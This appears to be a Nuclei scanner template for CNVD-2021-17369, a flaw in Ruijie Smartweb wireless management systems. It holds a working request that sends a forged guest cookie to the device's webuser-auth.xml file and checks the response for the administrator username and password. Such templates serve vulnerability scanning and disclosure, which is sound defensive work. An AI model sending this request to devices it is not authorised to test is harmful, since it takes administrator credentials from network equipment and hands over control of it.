id: CNVD-2021-17369

info:
  name: Ruijie Smartweb Management System Password Information Disclosure
  author: pikpikcu
  severity: high
  description: The wireless smartweb management system of Ruijie Networks Co., Ltd. has a logic flaw. An attacker can obtain the administrator account and password from a low-privileged user, thereby escalating the low-level privilege to the administrator's privilege.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: cnvd2021,cnvd,ruijie,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/xml/webuser-auth.xml"

    headers:
      Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<userauth>"
          - "<password>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a07201092566bc6f2ed4ffdd4fb98712376443bbc1494a90f5f8515f782ce6f02210099429705bc25998924efc5ecc454045e93e60308b60f4c8c33489d6c482e4a9b:922c64590222798bb761d5b6d8e72950